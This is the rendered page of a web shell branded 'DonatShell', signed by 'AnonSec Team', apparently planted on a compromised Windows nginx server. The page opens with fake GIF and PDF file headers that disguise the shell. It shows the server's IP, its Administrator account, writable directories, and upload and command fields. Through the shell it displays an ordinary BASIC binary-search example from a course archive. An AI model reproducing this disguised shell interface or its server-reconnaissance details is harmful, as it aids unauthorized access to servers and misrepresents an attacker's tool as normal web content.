GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles//BinarySearch.bas
' BinarySearch.bas

MAXSIZE=9

[again]
print
print
addTo = 0
dim myArray(MAXSIZE)
for i = 1 to MAXSIZE
    newRandowNumber = int(rnd(1)*10)+1
    myArray(i) = newRandowNumber+addTo
    print "#";i;" ";myArray(i)
    addTo = myArray(i)
next i
print

toSearchForIndex = int(rnd(1)*MAXSIZE)+1
'toSearchFor = myArray(toSearchForIndex) ' Search for a number that exists
toSearchFor = int(rnd(1)*50)+int(rnd(1)*51)+1 ' Search for a random number

print "toSearchFor=";toSearchFor

fountIt=0
startAt=1
endAt=MAXSIZE
While fountIt=0 and startAt<=endAt
    searchAt = int((startAt+endAt)/2)
    print "startAt=";startAt;" endAt=";endAt;" searchAt=";searchAt;" ";
    if toSearchFor = myArray(searchAt) then
         fountIt=searchAt
         print
    else
        if toSearchFor < myArray(searchAt) then
            print toSearchFor;"<";myArray(searchAt)
            endAt = searchAt-1
        end if
        if toSearchFor > myArray(searchAt) then
            print toSearchFor;">";myArray(searchAt)
            startAt = searchAt+1
        end if
    end if
    if endAt < startAt then fountIt = -1
wend
if fountIt > 0 then
    print "Found the number ";toSearchFor;" at position ";fountIt;"."
else
    print "The number ";toSearchFor;" was not found."
end if

Input "Again? ";again$
if again$="" goto [again]


Anon7 - 2022
AnonSec Team